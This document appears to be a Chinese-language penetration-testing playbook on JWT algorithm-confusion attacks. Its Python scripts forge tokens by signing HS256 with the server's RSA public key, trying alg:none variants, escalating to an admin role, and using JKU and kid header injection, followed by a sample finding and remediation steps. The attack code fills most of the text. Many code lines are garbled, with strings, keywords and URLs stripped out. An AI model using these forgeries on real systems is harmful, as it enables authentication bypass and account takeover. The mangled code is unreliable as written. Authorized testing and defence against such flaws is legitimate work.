| name | exploiting-jwt-algorithm-confusion-attack |
| description | 利用 JWT 算法混淆漏洞,该漏洞存在于服务器令牌验证库接受 JWT 头中指定的算法而非强制使用固定算法的场景。测试人员通过操纵 alg 头将 RS256 切换为 HS256(以 RSA 公钥作为 HMAC 密钥),将 alg 设置为 none 以绕过签名验证,或利用 kid/jku/x5u 头注入来提供攻击者控制的密钥。适用于 JWT 算法混淆、alg none 攻击、密钥混淆攻击或 JWT 签名绕过等请求场景。
|
| domain | cybersecurity |
| subdomain | api-security |
| tags | ["api-security","jwt","algorithm-confusion","token-forgery","cryptographic-attack"] |
| version | 1.0.0 |
| author | mahipal |
| license | Apache-2.0 |
利用 JWT 算法混淆攻击
适用场景
- 测试使用 RS256(非对称)JWT 令牌进行认证的 API,检查是否存在降级到 HS256 的问题
- 评估 JWT 实现中是否存在 alg:none 绕过(服务器跳过签名验证)
- 评估 JWT 库是否存在密钥混淆漏洞(公钥被用作 HMAC 密钥)
- 测试 kid(密钥 ID)、jku(JWK Set URL)和 x5u(X.509 URL)头参数是否存在注入问题
- 验证 API 服务器是否强制使用特定算法,而不信任 JWT 头
不适用于:未获书面授权的情况。利用 JWT 漏洞可能导致认证绕过和账户接管。
前置条件
- 明确目标 API 和基于 JWT 认证范围的书面授权
- 来自目标 API 的有效 JWT 令牌(通过合法认证获取)
- 服务器的 RSA 公钥(可从 JWKS 端点、TLS 证书或公钥端点获取)
- Python 3.10+,安装
PyJWT、cryptography 和 requests 库
- jwt_tool,用于自动化 JWT 攻击测试
- Burp Suite 配合 JWT Editor 扩展
工作流程
步骤 1:JWT 令牌分析
import base64
import json
import requests
import hmac
import hashlib
import time
BASE_URL = "https://target-api.example.com/api/v1"
login_resp = requests.post(f"{BASE_URL}/auth/login",
json={"email": "test@example.com", "password": "TestPass123!"})
valid_token = login_resp.json().get("access_token", "")
def decode_jwt(token):
parts = token.split('.')
if len(parts) != 3:
raise ValueError("Invalid JWT format")
def pad(s):
return s + '=' * (4 - len(s) % 4)
header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))
payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))
return header, payload, parts[2]
header, payload, signature = decode_jwt(valid_token)
print(f"Algorithm: {header.get('alg')}")
print(f"Key ID: {header.get('kid', 'none')}")
print(f"Type: ")
()
()
()
步骤 2:获取公钥
from cryptography.hazmat.primitives import serialization
from cryptography.x509 import load_pem_x509_certificate
jwks_url = f"{BASE_URL}/.well-known/jwks.json"
jwks_resp = requests.get(jwks_url)
if jwks_resp.status_code == 200:
jwks = jwks_resp.json()
print(f"JWKS keys found: {len(jwks.get('keys', []))}")
for key in jwks['keys']:
print(f" kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}")
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.backends import default_backend
rsa_key = jwks['keys'][0]
n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')
e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')
public_key = RSAPublicNumbers(e, n).public_key(default_backend())
public_key_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}")
oidc_resp = requests.get()
oidc_resp.status_code == :
jwks_uri = oidc_resp.json().get()
()
path [, , , ]:
resp = requests.get()
resp.status_code == ( resp.text resp.text):
()
步骤 3:算法混淆攻击(RS256 转 HS256)
def forge_hs256_with_public_key(token, public_key_pem, modifications=None):
"""
算法混淆:使用 RSA 公钥作为密钥以 HS256 签名令牌。
若服务器使用信任 alg 头的通用 verify(),则会使用公钥验证 HMAC 签名,
从而与我们的签名匹配。
"""
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
if modifications:
payload.update(modifications)
new_header = {"alg": "HS256", "typ": "JWT"}
header_b64 = base64.urlsafe_b64encode(
json.dumps(new_header).encode()).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload).encode()).decode().rstrip('=')
signing_input = f"{header_b64}.{payload_b64}".encode()
if isinstance(public_key_pem, str):
public_key_pem = public_key_pem.encode()
signature = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest()
sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')
return f"{header_b64}.{payload_b64}.{sig_b64}"
confused_token = forge_hs256_with_public_key(valid_token, public_key_pem)
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {confused_token}"})
print(f"Algorithm confusion (same claims): ")
resp.status_code == :
()
admin_token = forge_hs256_with_public_key(valid_token, public_key_pem,
modifications={: , : })
resp = requests.get(,
headers={: })
()
resp.status_code == :
()
key_formats = [
public_key_pem,
public_key_pem.strip(),
public_key_pem.replace(, ),
public_key_pem.decode().split()[:-],
]
i, key_format (key_formats):
(key_format, ):
key_format = .join(key_format).encode()
(key_format, ):
key_format = key_format.encode()
token = forge_hs256_with_public_key(valid_token, key_format)
resp = requests.get(,
headers={: })
resp.status_code == :
()
步骤 4:算法 None 攻击
def forge_none_algorithm(token, modifications=None):
"""创建使用 alg:none 变体的令牌,以绕过签名验证。"""
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
if modifications:
payload.update(modifications)
payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload).encode()).decode().rstrip('=')
none_variants = [
{"alg": "none", "typ": "JWT"},
{"alg": "None", "typ": "JWT"},
{"alg": "NONE", "typ": "JWT"},
{"alg": "nOnE", "typ": "JWT"},
{"typ": "JWT"},
]
tokens = []
for variant_header in none_variants:
header_b64 = base64.urlsafe_b64encode(
json.dumps(variant_header).encode()).decode().rstrip('=')
sig_options = [
"",
".",
parts[2],
base64.urlsafe_b64encode(b'\x00').decode().rstrip('='),
]
for sig in sig_options:
tokens.append()
tokens
none_tokens = forge_none_algorithm(valid_token)
i, token (none_tokens):
resp = requests.get(,
headers={: })
resp.status_code == :
header = json.loads(base64.urlsafe_b64decode(token.split()[] + ))
()
admin_none_tokens = forge_none_algorithm(valid_token,
modifications={: , : })
token admin_none_tokens:
resp = requests.get(,
headers={: })
resp.status_code == :
()
步骤 5:JKU 和 KID 头注入
import os
def generate_attacker_jwks():
"""为攻击者服务器生成 RSA 密钥对和 JWKS。"""
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
public_key = private_key.public_key()
public_numbers = public_key.public_numbers()
n_b64 = base64.urlsafe_b64encode(
public_numbers.n.to_bytes(256, 'big')).decode().rstrip('=')
e_b64 = base64.urlsafe_b64encode(
public_numbers.e.to_bytes(3, 'big')).decode().rstrip('=')
jwks = {
"keys": [{
"kty": "RSA",
"kid": "attacker-key-1",
"use": "sig",
"alg": "RS256",
"n": n_b64,
"e": e_b64
}]
}
return private_key, jwks
attacker_private_key, attacker_jwks = generate_attacker_jwks()
def forge_jku_token(payload_modifications, jku_url):
"""创建用攻击者密钥签名、JKU 指向攻击者 JWKS 的 JWT。"""
payload = json.loads(base64.urlsafe_b64decode(valid_token.split('.')[1] + '=='))
payload.update(payload_modifications)
header = {
: ,
: ,
: ,
: jku_url
}
header_b64 = base64.urlsafe_b64encode(
json.dumps(header).encode()).decode().rstrip()
payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload).encode()).decode().rstrip()
cryptography.hazmat.primitives hashes
cryptography.hazmat.primitives.asymmetric padding
signing_input = .encode()
signature = attacker_private_key.sign(
signing_input,
padding.PKCS1v15(),
hashes.SHA256()
)
sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip()
jku_urls = [
,
,
,
,
]
jku jku_urls:
token = forge_jku_token({: }, jku)
()
kid_injection_payloads = [
,
,
,
,
,
,
]
kid kid_injection_payloads:
modified_header = {: , : , : kid}
header_b64 = base64.urlsafe_b64encode(
json.dumps(modified_header).encode()).decode().rstrip()
payload_b64 = valid_token.split()[]
signing_input = .encode()
sig = hmac.new(, signing_input, hashlib.sha256).digest()
sig_b64 = base64.urlsafe_b64encode(sig).decode().rstrip()
token =
resp = requests.get(,
headers={: })
resp.status_code == :
()
核心概念
| 术语 | 定义 |
|---|
| 算法混淆(Algorithm Confusion) | 服务器信任 JWT 中的 alg 头,允许攻击者从 RS256 切换到 HS256,并以公钥作为 HMAC 密钥进行签名 |
| alg:none 攻击 | 将 JWT 算法设置为 "none",若库不强制算法选择,则可完全绕过签名验证 |
| JKU 注入 | 操纵 jku(JWK Set URL)头,使其指向攻击者控制的 JWKS 端点,从而提供自己的签名密钥 |
| KID 注入 | 向 kid(密钥 ID)头参数注入 SQL、路径遍历或 URL 载荷,以操纵密钥选择或读取任意文件 |
| 密钥混淆(Key Confusion) | 服务器从非对称验证错误切换为对称验证时,使用 RSA 公钥作为 HMAC 密钥 |
| JWKS(JSON Web Key Set) | 包含服务器用于验证 JWT 签名的公钥的 JSON 结构,通常托管在知名端点上 |
工具与系统
- jwt_tool:基于 Python 的 JWT 测试工具集,支持 12 种以上攻击模式,包括算法混淆、none 绕过和 kid 注入
- Burp Suite JWT Editor:用于解码、编辑和重新签名 JWT 的扩展,具备算法操纵能力
- hashcat(模式 16500):GPU 加速的 HMAC 密钥暴力破解,适用于 HS256/HS384/HS512 签名的 JWT
- John the Ripper:基于 CPU 的 JWT 密钥破解,支持字典和规则攻击
- jwt.io:在线 JWT 解码器和调试工具,可快速分析令牌
常见场景
场景:银行 API 上的算法混淆
背景:某银行 API 使用 RS256 签名的 JWT 进行认证。JWKS 端点公开可访问。该 API 处理需要高保证认证的金融交易。
方法:
- 以普通用户身份认证,获取有效 JWT
- 从
/.well-known/jwks.json 处的 JWKS 端点提取 RSA 公钥
- 创建带有
"alg": "HS256" 头的新 JWT,使用 RSA 公钥作为 HMAC 密钥签名
- 将伪造令牌发送至
GET /api/v1/users/me —— 服务器接受(确认算法混淆)
- 修改载荷,设置
"role": "admin" 和 "sub": "admin@bank.com",以公钥签名
- 访问管理端点:
GET /api/v1/admin/transactions 返回全部交易记录
- 测试 alg:none:服务器拒绝(部分缓解)
- 使用 SQL 载荷测试 kid 注入:kid 参数用于 SQL 查询以查找密钥,从而实现 SQL 注入
注意事项:
- 使用错误格式的公钥作为 HMAC 密钥(PEM 带/不带头、DER、原始字节)
- 首次格式不成功时,未尝试多种公钥格式
- 假设 alg:none 防御意味着算法混淆也得到了缓解
- 当 JWT 头中存在 kid 参数时,未测试 kid 注入向量
- 当服务器从 URL 获取密钥时,遗漏 JKU/x5u 头注入
输出格式
## 发现:JWT 算法混淆导致认证绕过
**ID**:API-JWT-001
**严重性**:严重(CVSS 9.8)
**CVE 参考**:CVE-2024-54150(相关模式)
**受影响组件**:JWT 认证中间件
**描述**:
API 的 JWT 验证库信任 JWT 头中指定的算法,而非强制使用固定算法。攻击者可
将算法从 RS256 更改为 HS256,并使用从 JWKS 端点获取的服务器 RSA 公钥作为
HMAC 密钥对令牌签名。服务器随后使用同一公钥验证 HMAC 签名,验证通过,使
攻击者能够为任意角色的任意用户伪造令牌。
**攻击链**:
1. 获取公钥:GET /.well-known/jwks.json
2. 创建 JWT:{"alg":"HS256","typ":"JWT"}.{"sub":"admin","role":"admin"}
3. 使用 RSA 公钥 PEM 作为密钥,以 HMAC-SHA256 签名
4. 访问管理 API:GET /api/v1/admin/transactions -> 200 OK
**影响**:
完全认证绕过。攻击者可为包括管理员在内的任意用户伪造令牌,
访问所有金融交易、用户数据和管理功能。
**修复建议**:
1. 在服务器配置层面强制使用预期算法:jwt.verify(token, key, algorithms=["RS256"])
2. 切勿信任 JWT 中的 alg 头进行算法选择
3. 将 JWT 库升级到具备算法混淆保护的最新版本
4. 考虑使用 EdDSA(Ed25519),该算法不存在对称/非对称混淆风险
5. 实现令牌绑定,防止接受伪造令牌